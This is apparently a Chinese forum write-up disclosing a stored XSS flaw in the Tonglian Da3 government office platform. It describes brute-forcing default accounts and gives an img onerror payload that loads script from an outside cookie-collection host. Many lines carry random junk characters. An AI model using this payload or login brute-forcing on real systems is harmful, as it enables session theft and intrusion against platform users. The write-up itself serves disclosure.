同联Da3协同办公平台后台通用储存型xss漏洞

admin

]5 a V) f5 g 6 |. B! B! n$ K 4 |8 M' O# D, Q! ^7 R/ j0 E & A" z4 @/ t5 ]: s3 b7 q+ D R" @" x' C1 W- N( W8 d % z+ R4 {& e$ t, d6 Y1 L 1 q* U1 w- o4 m 9 | |0 F* {6 @% C) [

# @7 @- ?+ N4 U& }

0 e, _& D* v! b0 j3 Q 同联Da3协同办公平台后台通用储存型xss漏洞 % }- a; {5 W ^/ y1 h* G i

/ S1 S/ P; D' o# k- U

平台简介：

# @; m# X0 A# _ E6 O4 V/ a

. n4 T: ^* }4 w' f i  

( u G$ N% V2 @4 V

$ P% x! P% F4 {& T 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

6 Q: m1 u" ^9 r3 l

, b. \1 {" W& r: N0 n6 m7 o3 z  

2 q( y" r& D' Q+ v/ _, F* R, J

Z x9 W: V9 \ 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

6 R- J, p! |4 e% f/ |4 o* A' U& D

! k; C1 o: _8 ]4 I9 g   " H: v; c# T2 n$ L

2 K" z# _$ ?0 @) A$ d2 N; P4 l

http://1.1.1.1:7197/cap-aco/#（案例2-）

6 w6 s( t3 ]) U& x http://www.XXOO.com （案例1-官网网站）

0 j, \$ i; m) T/ z4 b/ B 漏洞详情:

9 z; P" Y7 Y! o2 |2 f) q  案例一、 % y/ d9 L }; _5 E: ^$ A) U* U

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

; S1 G! g; a. d: ^

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： ' a; i7 f& [3 x0 g" w/ i( }- Z/ {

. k9 ~, e9 G2 o( D# k7 B0 L# G8 Q# X$ ]  

, v7 c7 v3 n/ w: h, j9 p

( Z- b% q8 n- s b* t! @, G

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

  ' N: m6 \* z" K! o( ^6 ? l0 k

& a- l8 P# e9 k$ ?/ b

4 E+ d/ D% N/ J9 S% [& T. \ 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 6 f: ], R2 S' @# ]+ T& R

, z$ x' u2 R- d# c- }+ e

& a8 `1 |8 i, |0 Y# [  

<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

* ?- m: N& G5 K+ c; B$ g" x6 m: R

然后发送，接收cookie如图：

9 M9 S& a% h2 V9 E; L, V

7 a8 N' r" Z3 t4 h, a/ x6 Y! t7 F   & X- y5 y, A9 M6 J; O7 u

  . m& |: R, W8 C" |

$ M- n1 C0 [# q+ w" b, G7 ]   3 T' F) ~' v' [5 s

+ t- i. t- [4 T3 e8 F, V6 ^# I

) h% H3 E2 T9 m- Q  

4 c) ~3 t, u. q6 @' L7 e

3 O' b/ C ? X# u- Q ) v' e8 k% [5 k" E2 C+ M! P

& [4 ^8 Y# K/ K, W

* } _5 k& F. B6 \  

" w# s N, {3 m5 p) a( V+ n 案例2、

% U" U! N3 L! M% }

/ ~2 o+ K4 Q( r6 U4 `1 v: Y- E 前面步骤都一样，下面看效果图： ! ^8 D' ?1 f" _+ E* B% Y6 X

K9 Y! `$ W' k8 g0 S# Q4 t3 [' k

$ g, m' t/ B) t

5 W' }, X* r2 z" `% l" N

& A: P1 `! f! }4 [- D

; O$ P; H2 t$ P2 t

* l+ r( Z; |# q   / P+ f: H; \7 G' w5 f: A/ m! O

% O, R+ V' d! a! I

/ I# Y( T8 s4 ?$ K9 G  

1 j& s7 `8 V9 u/ y$ H& J. @' J / n' c- {) W4 Q: ~& D( S9 P. y5 [

6 E( y) o# D: K1 {3 [! k

 

5 P% M9 q3 I8 N5 P  

2 T, O1 N, b0 i& W  

* J+ z$ S7 a7 c" u% \0 Q2 T

 

9 i7 o4 T! K5 L% X3 U& y$ T& V